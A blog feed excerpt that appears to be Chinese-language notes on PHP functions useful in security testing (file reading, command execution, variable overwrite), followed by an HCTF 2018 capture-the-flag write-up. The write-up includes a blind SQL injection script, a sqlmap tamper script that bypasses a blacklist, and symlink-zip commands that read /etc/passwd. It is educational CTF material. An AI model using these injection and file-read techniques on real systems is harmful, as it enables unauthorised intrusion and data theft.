&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;popen(command,mode)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;通过popen()的参数传递一条命令，并对popen()所打开的文件进行执行。&lt;/p&gt;
&lt;h3 id=&quot;fcntl_exec&quot;&gt;fcntl_exec()&lt;/h3&gt;
&lt;h3 id=&quot;ob_start&quot;&gt;ob_start()&lt;/h3&gt;
&lt;h3 id=&quot;escapeshellcmd&quot;&gt;escapeshellcmd()&lt;/h3&gt;
&lt;p&gt;// 该函数用于过滤&lt;/p&gt;
&lt;p&gt;……&lt;/p&gt;
&lt;h2 id=&quot;_4&quot;&gt;文件操作函数&lt;/h2&gt;
&lt;h3 id=&quot;copy&quot;&gt;copy&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;copy(source,destination)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;拷贝文件&lt;/p&gt;
&lt;h3 id=&quot;file_get-contents&quot;&gt;file_get contents&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;file_get_contents(path,include_path,context,start,max_length)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;将整个文件读入一个字符串&lt;/p&gt;
&lt;h3 id=&quot;file_put-contents&quot;&gt;file_put contents&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;file_put_contents(file,data,mode,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;将一个字符串写入文件&lt;/p&gt;
&lt;h3 id=&quot;file&quot;&gt;file&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;file(path,include_path,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;把整个文件读入一个数组中&lt;/p&gt;
&lt;h3 id=&quot;fopen&quot;&gt;fopen&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;fopen(filename,mode,include_path,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;打开文件或者url&lt;/p&gt;
&lt;h3 id=&quot;move_uploaded_file&quot;&gt;move_uploaded_file&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;move_uploaded_file(file,newloc)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;将上传的文件移动到新的位置&lt;/p&gt;
&lt;h3 id=&quot;readfile&quot;&gt;readfile&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;readfile(filename,include_path,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;输出文件&lt;/p&gt;
&lt;h3 id=&quot;rename&quot;&gt;rename&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;rename(oldname,newname,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;重命名一个文件或目录&lt;/p&gt;
&lt;h3 id=&quot;rmdir&quot;&gt;rmdir&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;rmdir(dir,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;删除目录&lt;/p&gt;
&lt;h3 id=&quot;unlink-delete&quot;&gt;unlink &amp;amp; delete&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;unlink(filename,context)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;删除文件&lt;/p&gt;
&lt;h3 id=&quot;_5&quot;&gt;读文件&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;hightlight_file($filename);&lt;br&gt;
show_source($filename);&lt;br&gt;
print_r(php_strip_whitespace($filename));&lt;br&gt;
print_r(file_get_contents($filename));&lt;br&gt;
readfile($filename);&lt;br&gt;
print_r(file($filename)); // var_dump&lt;br&gt;
fread(fopen(filename,”r”),filename,”r”),size);&lt;br&gt;
include($filename); // 非php代码&lt;br&gt;
include_once($filename); // 非php代码&lt;br&gt;
require($filename); // 非php代码&lt;br&gt;
require_once($filename); // 非php代码&lt;br&gt;
print_r(fread(popen(“cat flag”, “r”), $size));&lt;br&gt;
print_r(fgets(fopen($filename, “r”))); // 读取一行&lt;br&gt;
fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF&lt;br&gt;
print_r(fgetcsv(fopen(filename,”r”),filename,”r”),size));&lt;br&gt;
print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记&lt;br&gt;
print_r(fscanf(fopen(“flag”, “r”),”%s”));&lt;br&gt;
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;……&lt;/p&gt;
&lt;h2 id=&quot;_6&quot;&gt;特殊函数&lt;/h2&gt;
&lt;p&gt;### 信息泄漏&lt;/p&gt;
&lt;h4 id=&quot;bool-phpinfo-int-what-info_all&quot;&gt;bool phpinfo ([int $what = INFO_ALL])&lt;/h4&gt;
&lt;p&gt;输出php当前状态的大量信息&lt;/p&gt;
&lt;h3 id=&quot;-&quot;&gt;软连接-读取文件内容：&lt;/h3&gt;
&lt;h4 id=&quot;bool-symlink-string-target-string-link&quot;&gt;bool symlink (string $target ,string $link)&lt;/h4&gt;
&lt;p&gt;symlink()对于已有的target建立一个名为link的符号连接&lt;/p&gt;
&lt;h4 id=&quot;string-redline-string-path&quot;&gt;string redline (string $path)&lt;/h4&gt;
&lt;p&gt;readlink()和同名的c函数做同样的事，返回符号连接的内容&lt;/p&gt;
&lt;h3 id=&quot;_7&quot;&gt;环境变量&lt;/h3&gt;
&lt;h4 id=&quot;string-getenv-string-varname&quot;&gt;string getenv (string $varname)&lt;/h4&gt;
&lt;p&gt;获取一个环境变量的值&lt;/p&gt;
&lt;h4 id=&quot;bool-putenv-string-setting&quot;&gt;bool putenv (string $setting)&lt;/h4&gt;
&lt;p&gt;增加setting到服务器环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态&lt;/p&gt;
&lt;h3 id=&quot;_8&quot;&gt;加载扩展&lt;/h3&gt;
&lt;h4 id=&quot;bool-dl-string-library&quot;&gt;bool dl (string $library)&lt;/h4&gt;
&lt;p&gt;载入指定参数library的php扩展&lt;/p&gt;
&lt;h3 id=&quot;_9&quot;&gt;配置相关&lt;/h3&gt;
&lt;p&gt;string ini_get (string $varname)&lt;/p&gt;
&lt;p&gt;成功时返回配置选项的值&lt;/p&gt;
&lt;p&gt;string ini_set (string $varname , string $newvalue)&lt;/p&gt;
&lt;p&gt;string ini_alter (string $varname , string $newvalue)&lt;/p&gt;
&lt;p&gt;设置指定配置选项。这个选项会在脚本执行时 保持新的值，并在脚本结束后恢复&lt;/p&gt;
&lt;p&gt;void ini_numeric (mixed $var)&lt;/p&gt;
&lt;p&gt;恢复指定的配置选项到它的原始值&lt;/p&gt;
&lt;h3 id=&quot;_10&quot;&gt;数字判断&lt;/h3&gt;
&lt;p&gt;Bool is_numeric (mixed $var)&lt;/p&gt;
&lt;p&gt;如果var时数字和数字字符串则返回true，否则返回false&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;仅用is_numeric判断而不用intval转换就有可能插入16进制的字符串到数据库，进而可能导致sql二次注入&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;_11&quot;&gt;数组相关&lt;/h3&gt;
&lt;p&gt;Bool in_array (mixed. $needle , array $haystack [,bool $strict =false])&lt;/p&gt;
&lt;p&gt;在haystack中搜索needle，如果没有设置strict则使用宽松的比较&lt;/p&gt;
&lt;p&gt;该函数有一个特性，比较之前会进行自动类型转换：&lt;strong&gt;&lt;em&gt;$a = &#x27;1abc&#x27;;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;_12&quot;&gt;超全局变量&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://php.net/manual/zh/language.variables.superglobals.php&quot; rel=&quot;nofollow&quot;&gt;$GLOBALS&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_13&quot;&gt;变量覆盖&lt;/h3&gt;
&lt;p&gt;void parse_str (string $str [,array &amp;amp; &amp;amp;str])&lt;/p&gt;
&lt;p&gt;如果str是URL传递入的查询字符串(query string)，则将它解析为变量并设置到当前作用域&lt;/p&gt;
&lt;p&gt;int extract (array &amp;amp;var_array [,int $extract_type = EXTR_OVERWRITE [, srting $orefix = NULL]])&lt;/p&gt;
&lt;p&gt;本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名，同时也检查和符号表中已有的变量名的冲突&lt;/p&gt;
&lt;p&gt;Bool mb_parse_str ( string $encoded_string [, array. &amp;amp;result ])&lt;/p&gt;
&lt;p&gt;解析GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_glovals，但又想用到一些全局变量，那么此函数就很有用&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;extract()&lt;br&gt;
import_request_variables()&lt;br&gt;
parse_str()&lt;br&gt;
mb_parse_str()&lt;br&gt;
全局变量覆盖：register_globals为ON，$GLOBALS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_14&quot;&gt;列目录&lt;/h3&gt;
&lt;p&gt;array glob ( string $pattern [, int $flags =0])&lt;/p&gt;
&lt;p&gt;glob()函数依照libc glob()函数使用的规则寻找所有与pattern匹配的文件路径，类似于一般shells所用的规则一样。不进行缩写扩展或参数替代。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;print_r(glob(“&lt;em&gt;”)); // 列当前目录&lt;br&gt;
print_r(glob(“/&lt;/em&gt;”)); // 列根目录 print_r(scandir(“.”));&lt;br&gt;
print_r(scandir(“/“));&lt;br&gt;
$d=opendir(&quot;.&quot;);while(false!==($f=readdir($d))){echo&quot;$f\n&quot;;}&lt;br&gt;
$d=dir(&quot;.&quot;);while(false!==($f=$d-&amp;gt;read())){echo$f.&quot;\n&quot;;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_15&quot;&gt;无参数获取信息&lt;/h3&gt;
&lt;p&gt;array get_defined_vars (void)&lt;/p&gt;
&lt;p&gt;返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户自定义变量&lt;/p&gt;
&lt;p&gt;array get_defined_constants ([bool $categorize = false])&lt;/p&gt;
&lt;p&gt;返回当前所有已定义的常量名和值。这包含define()函数所创建的，也包含了所有拓展所创建的&lt;/p&gt;
&lt;p&gt;array get_defined_functions (void)&lt;/p&gt;
&lt;p&gt;返回一个包含所有已定义函数列表的多位数组&lt;/p&gt;
&lt;p&gt;array get_included_files (void)&lt;/p&gt;
&lt;p&gt;返回所有被include、include_once、require和require_once的文件名&lt;/p&gt;
&lt;h3 id=&quot;_16&quot;&gt;序列化函数&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;serialize()&lt;br&gt;
unserialize()&lt;br&gt;
ini_set(‘session.serialize_handler’, ‘php_serialize’);&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_17&quot;&gt;文件上传&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;move_uploaded_file()&lt;br&gt;
getimagesize() //验证文件头只要为GIF89a，就会返回真&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;reference&quot;&gt;Reference&lt;/h2&gt;
&lt;p&gt;代码执行函数：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.cnblogs.com/galaxyyao/archive/2013/04/25/3043104.html&quot; rel=&quot;nofollow&quot;&gt;PHP Eval研究笔记&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.douban.com/note/217557007/&quot; rel=&quot;nofollow&quot;&gt;PHP assert函数的用法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.jb51.net/article/46458.htm&quot; rel=&quot;nofollow&quot;&gt;PHP preg_replace() 正则替换所有符合条件的字符串&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/hsd2012/article/details/46274475&quot; rel=&quot;nofollow&quot;&gt;PHP——创建函数&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/fdipzone/article/details/52336763&quot; rel=&quot;nofollow&quot;&gt;PHP——使用callable强制指定回调类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;包含函数：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://netsecurity.51cto.com/art/201605/511323.htm&quot; rel=&quot;nofollow&quot;&gt;PHP——Info()信息泄漏漏洞利用提权及防范&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;&quot; rel=&quot;nofollow&quot;&gt;PHP——include 和 require 的理解与区别&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;命令执行函数：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/shaobingj126/article/details/6461721&quot; rel=&quot;nofollow&quot;&gt;PHP——exec()函数以及获取其返回值&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/beyond__devil/article/details/53868309&quot; rel=&quot;nofollow&quot;&gt;PHP——执行系统外部命令函数:exec()、passthru()、system()、shell_exec()&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文件操作函数：&lt;/p&gt;
&lt;p&gt;特殊函数：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/xiajun07061225/article/details/7163249&quot; rel=&quot;nofollow&quot;&gt;Linux连接文件：硬连接和软连接&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Wed, 12 Dec 2018 09:50:17 +0800</pubDate>
  </item>
  <item>
    <title>
      HCTF 2018 马后炮分析
    </title>
    <link>https://www.0akarma.com/hctf-2018.html</link>
    <description>&lt;h2 id=&quot;warmup&quot;&gt;Warmup&lt;/h2&gt;
&lt;p&gt;签到题&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . &#x27;?&#x27;, &#x27;?&#x27;)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;一开始看上面这段代码有点懵，然后一搜～～～&lt;br&gt;
&lt;img alt=&quot;-w628&quot; src=&quot;/api/download/15460072523758.jpg&quot;&gt;&lt;br&gt;
就是套用phpmyadmin的exp即可获得flag&lt;br&gt;
&lt;img alt=&quot;-w604&quot; src=&quot;/api/download/15460075005264.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;kzone&quot;&gt;kzone&lt;/h2&gt;
&lt;h3 id=&quot;information-collection&quot;&gt;information collection&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://bysec.io/hctf/writeup.html#kzone&quot; rel=&quot;nofollow&quot;&gt;出题人WP&lt;/a&gt;&lt;br&gt;
直接打开都是无限跳转，所以拿御剑扫一下目录，发现源码～～赶紧拖下来看看&lt;br&gt;
&lt;img alt=&quot;-w164&quot; src=&quot;/api/download/15459636082698.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;cracking&quot;&gt;cracking&lt;/h3&gt;
&lt;p&gt;翻了一遍之后，发现了member.php，发现admin_user是直接带入sql语句中的，而且admin_pass运用的是弱类型比较:)似乎有搞头～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if ($_COOKIE[&quot;login_data&quot;]) {
        $login_data = json_decode($_COOKIE[&#x27;login_data&#x27;], true);
        $admin_user = $login_data[&#x27;admin_user&#x27;];
        $udata = $DB-&amp;gt;get_row(&quot;SELECT * FROM fish_admin WHERE username=&#x27;$admin_user&#x27; limit 1&quot;);
        if ($udata[&#x27;username&#x27;] == &#x27;&#x27;) {
            setcookie(&quot;islogin&quot;, &quot;&quot;, time() - 604800);
            setcookie(&quot;login_data&quot;, &quot;&quot;, time() - 604800);
        }
        $admin_pass = sha1($udata[&#x27;password&#x27;] . LOGIN_KEY);
        if ($admin_pass == $login_data[&#x27;admin_pass&#x27;]) {
            $islogin = 1;
        } else {
            setcookie(&quot;islogin&quot;, &quot;&quot;, time() - 604800);
            setcookie(&quot;login_data&quot;, &quot;&quot;, time() - 604800);
        }
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;但是这里我一直爆破不出来～～islogin无论传1还是0，都是返回&lt;code&gt;You are already logged in!&lt;/code&gt;，那就看下还有什么其他路子吧～（后来发现。。是自己post请求点错了～～尴尬！！）&lt;/p&gt;
&lt;h3 id=&quot;cookie-injection&quot;&gt;cookie injection&lt;/h3&gt;
&lt;p&gt;因为在safe.php下有过滤&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;$blacklist = &#x27;/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|&amp;lt;|&amp;gt;|\#|\s/i&#x27;;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;所以基本上通过正常方法是不能饶过or了～但是这道题有两个骚操作，一个是出题人的预期解（Innodb），一个是非预期解。&lt;/p&gt;
&lt;h4 id=&quot;innodb&quot;&gt;Innodb&lt;/h4&gt;
&lt;p&gt;源码里面的数据库文件和平常的没什么两样，然后随便找了个自己的对比了一下，发现。。有一丝猫腻～&lt;br&gt;
就是&lt;code&gt;ENGINE&lt;/code&gt;的地方不一样～&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MySQL5.5版本开始Innodb已经成为Mysql的默认引擎(之前是MyISAM)，说明其优势是有目共睹的，如果你不知道用什么，那就用InnoDB，至少不会差。&lt;br&gt;
所以可以使用&lt;code&gt;mysql.innodb_table_stats&lt;/code&gt;来代替 &lt;code&gt;information_schema.tables&lt;/code&gt;即可获取表名。&lt;br&gt;
这里改一下大佬的来脚本测试，是成功的&lt;br&gt;
&lt;img alt=&quot;-w283&quot; src=&quot;/api/download/15460038084431.jpg&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;import requests
import string
url = &quot;&quot;
rg = &#x27;._- {}&#x27;+string.digits+string.ascii_letters+&#x27;&amp;amp;&#x27;
flag = &#x27;&#x27;
for l in range(30):
    for i in rg:
        cookies = {
            &quot;islogin&quot;:&quot;1&quot;,
            # &#x27;login_data&#x27;: r&#x27;&#x27;&#x27;{{&quot;admin_user&quot;:&quot;admin&#x27;\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d&#x27;F1444g&#x27;limit\r1),{},2)in(&#x27;{}{}&#x27;)\rand&#x27;1&quot;,&quot;admin_pass&quot;:&quot;3aa526bed244d14a09ddcc49ba36684866ec7661&quot;}}&#x27;&#x27;&#x27;.format(l+1,flag, i)
            &#x27;login_data&#x27;: r&#x27;&#x27;&#x27;{{&quot;admin_user&quot;:&quot;admin&#x27;\rand\rlpad((select\rtable_name\rfrom\rmysql.innodb_table_stats\rwhere\rtable_name\u003d&#x27;F1444g&#x27;limit\r1),{},2)in(&#x27;{}{}&#x27;)\rand&#x27;1&quot;,&quot;admin_pass&quot;:&quot;3aa526bed244d14a09ddcc49ba36684866ec7661&quot;}}&#x27;&#x27;&#x27;.format(l+1,flag, i)
            # &#x27;login_data&#x27;: r&#x27;&#x27;&#x27;{{&quot;admin_user&quot;:&quot;admin&#x27;\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in(&#x27;{}{}&#x27;)\rand&#x27;1&quot;,&quot;admin_pass&quot;:&quot;3aa526bed244d14a09ddcc49ba36684866ec7661&quot;}}&#x27;&#x27;&#x27;.format(l+1,flag, i) 
        }
        r = requests.get(url, cookies=cookies)
        print(i, end=&quot;\r&quot;)
        # print(&quot;\r&quot;)
        if len(r.text) &amp;gt; 1000:
            flag+=i
            print(flag)
            break
        if i == &#x27;&amp;amp;&#x27;:
            exit()&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;当然在使用这种方法之前，需要通过&lt;code&gt;@@innodb_version&lt;/code&gt;来获取mysql版本，类似于&lt;code&gt;@@version&lt;/code&gt;的效果，才能知道当前引擎是否为innodb，但是在实际情况中，mysql.innodb_table_stats表注入的缺点是无法通过查询得出列名。&lt;/p&gt;
&lt;h4 id=&quot;json_decode&quot;&gt;json_decode&lt;/h4&gt;
&lt;p&gt;因为传入的&lt;code&gt;login_data&lt;/code&gt;会有json_decode操作，所以我们可以通过将黑名单内的关键字进行encode，然后即可达到注入目的。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;$login_data = json_decode($_COOKIE[&#x27;login_data&#x27;], true);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;-w1269&quot; src=&quot;/api/download/15459695610330.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;-w1288&quot; src=&quot;/api/download/15459695917305.jpg&quot;&gt;&lt;br&gt;
接下来，当然可以选择自己写脚本注入，但是～～既然有工具肯定要好好利用啊～～看到Ricter大佬用sqlmap快速破题，所以我觉得。。还是要跟上大佬的脚步，把工具用的出神入化才行啊！&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    data = &#x27;{&quot;admin_user&quot;:&quot;admin%s&quot;,&quot;admin_pass&quot;:65}&#x27;
    payload = payload.lower()

    payload = payload.replace(&#x27;u&#x27;, &#x27;\u0075&#x27;)
    payload = payload.replace(&#x27;o&#x27;, &#x27;\u006f&#x27;)
    payload = payload.replace(&#x27;i&#x27;, &#x27;\u0069&#x27;)
    payload = payload.replace(&#x27;\&#x27;&#x27;, &#x27;\u0027&#x27;)
    payload = payload.replace(&#x27;\&quot;&#x27;, &#x27;\u0022&#x27;)
    payload = payload.replace(&#x27; &#x27;, &#x27;\u0020&#x27;)
    payload = payload.replace(&#x27;s&#x27;, &#x27;\u0073&#x27;)
    payload = payload.replace(&#x27;#&#x27;, &#x27;\u0023&#x27;)
    payload = payload.replace(&#x27;&amp;gt;&#x27;, &#x27;\u003e&#x27;)
    payload = payload.replace(&#x27;&amp;lt;&#x27;, &#x27;\u003c&#x27;)
    payload = payload.replace(&#x27;-&#x27;, &#x27;\u002d&#x27;)
    payload = payload.replace(&#x27;=&#x27;, &#x27;\u003d&#x27;)
    payload = payload.replace(&#x27;f1a9&#x27;, &#x27;F1a9&#x27;)
    payload = payload.replace(&#x27;f1&#x27;, &#x27;F1&#x27;)
    return data % payload&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这里有两个坑就是：&lt;br&gt;
1. 要注意单引号中的转义&lt;br&gt;
2. 要注意将f1转为大写&lt;br&gt;
3. 注入的时候如果存在大小写敏感可以用binary区分&lt;br&gt;
&lt;img alt=&quot;-w908&quot; src=&quot;/api/download/15459758569223.jpg&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;set_cookie&quot;&gt;set_cookie&lt;/h4&gt;
&lt;p&gt;平台本身的逻辑问题，就可以实现布尔注入：&lt;br&gt;
当查询返回的用户名为空且密码错误时，进行四次setcookie 操作&lt;br&gt;
当查询返回的用户名为不为空时，进行两次setcookie 操作&lt;/p&gt;
&lt;h2 id=&quot;hideandseek&quot;&gt;hideandseek&lt;/h2&gt;
&lt;h3 id=&quot;information-collection_1&quot;&gt;Information collection&lt;/h3&gt;
&lt;p&gt;直接随意输入账号密码即可登陆，然后就要求上传zip文件。&lt;br&gt;
&lt;img alt=&quot;-w1004&quot; src=&quot;media/15434927183825/15492680835968.jpg&quot;&gt;&lt;br&gt;
随便上传一个zip后，发现会自动把压缩包内的内容打印出来。&lt;br&gt;
搜索了一会发现了&lt;a href=&quot;http://www.vuln.cn/8132&quot; rel=&quot;nofollow&quot;&gt;软连接&lt;/a&gt;这个东东。&lt;br&gt;
于是试了试&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;~/Downloads/hctf_hideandseek ln -s /etc/passwd link

~/Downloads/hctf_hideandseek zip --symlinks test.zip link
  adding: link (stored 0%)

~/Downloads/hctf_hideandseek ls
link     test.zip&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;成功读取&lt;br&gt;
&lt;img alt=&quot;-w1199&quot; src=&quot;/api/download/15492698695656.jpg&quot;&gt;&lt;br&gt;
接下来就是看看能不能读取到什么有用的信息了～&lt;br&gt;
这里读了半天，没读出什么东西，卡住了，然后看了下wp，发现出题人说linux&lt;code&gt;一切皆文件&lt;/code&gt;的思想，找到了&lt;a href=&quot;https://www.cnblogs.com/youxin/p/4980058.html&quot; rel=&quot;nofollow&quot;&gt;Linux /proc/pid目录下各文件含义&lt;/a&gt;，简直大开眼界～&lt;br&gt;
读到了uwsgi配置文件的位置，也知道了目录路径，接下来就是继续读了。&lt;br&gt;
&lt;img alt=&quot;-w1239&quot; src=&quot;/api/download/15492717382612.jpg&quot;&gt;&lt;br&gt;
然后读到了源码&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config[&#x27;SECRET_KEY&#x27;] = str(random.random()*100)
app.config[&#x27;UPLOAD_FOLDER&#x27;] = &#x27;./uploads&#x27;
app.config[&#x27;MAX_CONTENT_LENGTH&#x27;] = 100 * 1024
ALLOWED_EXTENSIONS = set([&#x27;zip&#x27;])

def allowed_file(filename):
    return &#x27;.&#x27; in filename and \
           filename.rsplit(&#x27;.&#x27;, 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route(&#x27;/&#x27;, methods=[&#x27;GET&#x27;])
def index():
    error = request.args.get(&#x27;error&#x27;, &#x27;&#x27;)
    if(error == &#x27;1&#x27;):
        session.pop(&#x27;username&#x27;, None)
        return render_template(&#x27;index.html&#x27;, forbidden=1)

    if &#x27;username&#x27; in session:
        return render_template(&#x27;index.html&#x27;, user=session[&#x27;username&#x27;], flag=flag.flag)
    else:
        return render_template(&#x27;index.html&#x27;)


@app.route(&#x27;/login&#x27;, methods=[&#x27;POST&#x27;])
def login():
    username=request.form[&#x27;username&#x27;]
    password=request.form[&#x27;password&#x27;]
    if request.method == &#x27;POST&#x27; and username != &#x27;&#x27; and password != &#x27;&#x27;:
        if(username == &#x27;admin&#x27;):
            return redirect(url_for(&#x27;index&#x27;,error=1))
        session[&#x27;username&#x27;] = username
    return redirect(url_for(&#x27;index&#x27;))


@app.route(&#x27;/logout&#x27;, methods=[&#x27;GET&#x27;])
def logout():
    session.pop(&#x27;username&#x27;, None)
    return redirect(url_for(&#x27;index&#x27;))

@app.route(&#x27;/upload&#x27;, methods=[&#x27;POST&#x27;])
def upload_file():
    if &#x27;the_file&#x27; not in request.files:
        return redirect(url_for(&#x27;index&#x27;))
    file = request.files[&#x27;the_file&#x27;]
    if file.filename == &#x27;&#x27;:
        return redirect(url_for(&#x27;index&#x27;))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config[&#x27;UPLOAD_FOLDER&#x27;], filename)
        if(os.path.exists(file_save_path)):
            return &#x27;This file already exists&#x27;
        file.save(file_save_path)
    else:
        return &#x27;This file is not a zipfile&#x27;


    try:
        extract_path = file_save_path + &#x27;_&#x27;
        os.system(&#x27;unzip -n &#x27; + file_save_path + &#x27; -d &#x27;+ extract_path)
